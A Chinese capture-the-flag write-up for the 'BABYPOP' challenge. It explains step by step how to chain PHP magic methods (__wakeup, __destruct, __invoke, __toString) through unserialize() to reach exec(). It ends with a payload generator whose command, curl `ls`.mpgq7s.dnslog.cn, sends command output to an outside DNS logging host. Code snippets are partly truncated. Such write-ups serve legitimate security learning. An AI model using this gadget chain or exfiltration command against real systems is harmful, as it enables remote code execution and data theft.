三叶草--BABYPOP
题目:
i_want_2_listen_2_MaoZhongDu);} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}class c {public function __wakeup(){a::$Do_u_like_JiaRan = true;}
}class d {public function __invoke(){a::$Do_u_like_AFKL = true;return "关注嘉然," . $this->value;}
}class e {public function __destruct(){if (a::$Do_u_like_JiaRan) {($this->afkl)();} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}if (isset($_GET['data'])) {unserialize(base64_decode($_GET['data']));
} else {highlight_file(__FILE__);
}
分析:
经过简单的代码审计之后,我们能够得到flag的,只有通过类b的__toString()方法中的这行代码:
return exec($this->i_want_2_listen_2_MaoZhongDu);
(因为exec没有回显,所以我们可以通过反弹shell来得到东西,这里因为我没有公网IP所以就用
curl `执行的命令`.dnslog 来做示范。)
首先i_want_2_listen_2_MaoZhongDu是类b中的变量我们可控,所以exec中的参数我们就可控了,然后要进行exec(),就得使a::$Do_u_like_AFKL为true,然而我们可以看见类a中的两个变量都是flase,注意这两个变量都是静态变量,刚开始我以为静态变量我们可以在反序列化的时候控制,结果发现不行,原因如下:
示例:
1、
x);} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}} } $tt=new a(); $tt->monica();变量x是静态的并刚开始为false。
结果:
我们可以发现a::$x的值为false,而$this->x为NULL
而当我们增加一个__construct()函数的时候:
x=true;}public function monica(){if (!a::$x) {var_dump($this->x);} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}} } $tt=new a(); $tt->monica();结果只改变了$this->x的值:
2、
若我们构造一个序列化字符串:
x=true;}} echo serialize(new a());结果:O:1:"a":1:{s:1:"x";b:1;}
进行反序列化:
x);} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}} } $tt=unserialize('O:1:"a":1:{s:1:"x";b:1;}'); $tt->monica();结果还是只修改了$this->x的值:
说明使用__construct()修改静态变量的值只会修改$this->静态变量的值。而不会影响
类名::静态变量的值。
3、那么我们如何修改类名::静态变量的值呢?
x);} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}} }class b{public $x;public function __construct(){a::$x=true;$this->x=new a();$this->x->monica();} }$tt=new b();
可以发现我们通过实例化b,通过b的__construct()方法将a::$x的值修改为了true、所以在使用$this->monica()方法的时候就进入了else语句。
通过上面的解释,我们知道了不能使用序列化字符串来覆盖类名::静态变量。
全局搜索Do_u_like_JiaRan,发现只有在类c的__wakeup方法中才能使 a::$Do_u_like_JiaRan = true;
知识点:
__wakeup() //将在反序列化之后立即调用
所以我们要序列化的对象一定是类c。
然后我们再回到分析类b的toString()方法
知识点:
__toString(): //当一个对象被当作字符串使用时触发,echo,return一个对象的时候
要想调用toString()方法就必须,找到能够输出类b的地方。最终在类d中发现:
class d {public function __invoke(){a::$Do_u_like_AFKL = true;return "关注嘉然," . $this->value;}
}
只有我们将$this->value赋值为类b的实例化对象即可。
但我们发现类d中并没有$value这个变量,但其实我们可以自己创建:
示例:
我们先构造一个序列化字符串
结果:O:1:"d":1:{s:1:"a";s:6:"monica";}
测试页面:
a;} }如果我们之间输出一个类中没有的变量是不会输出东西的
但是如果我们反序列化了呢?
成功输入monica!
所以我们就能构造一个序列化字符串,里面的类d中有$value这个变量且他的值为new b()。同时类d的__invoke()方法中还使 a::$Do_u_like_AFKL = true;那么类b中if语句的问题我们也解决了。
其次,要想调用类d的__invoke()方法
知识点:
__invoke() //当脚本尝试将对象调用为函数时触发
所以我们得找到一个函数执行点,且函数名可控;最终在类e中找到:
class e {public function __destruct(){if (a::$Do_u_like_JiaRan) {($this->afkl)();} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}
因为我们在类c中使得a::$Do_u_like_JiaRan;所以只要在类e中使$afkl=new d()即可。
最后要将类c和类e连接起来;因为我们可以自己在类中构造变量,所以在类c中构造一个变量,使他的值为new e()即可。
最终的payload:
i_want_2_listen_2_MaoZhongDu='curl `ls`.mpgq7s.dnslog.cn';}}class c {public $cvalue;public function __construct(){$this->cvalue=new e();}}class d {public $value;public function __construct(){$this->value=new b();}}class e {public $afkl;public function __construct(){$this->afkl=new d();}}$a=new c();
echo base64_encode(serialize($a));
结果:

本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!





成功输入monica!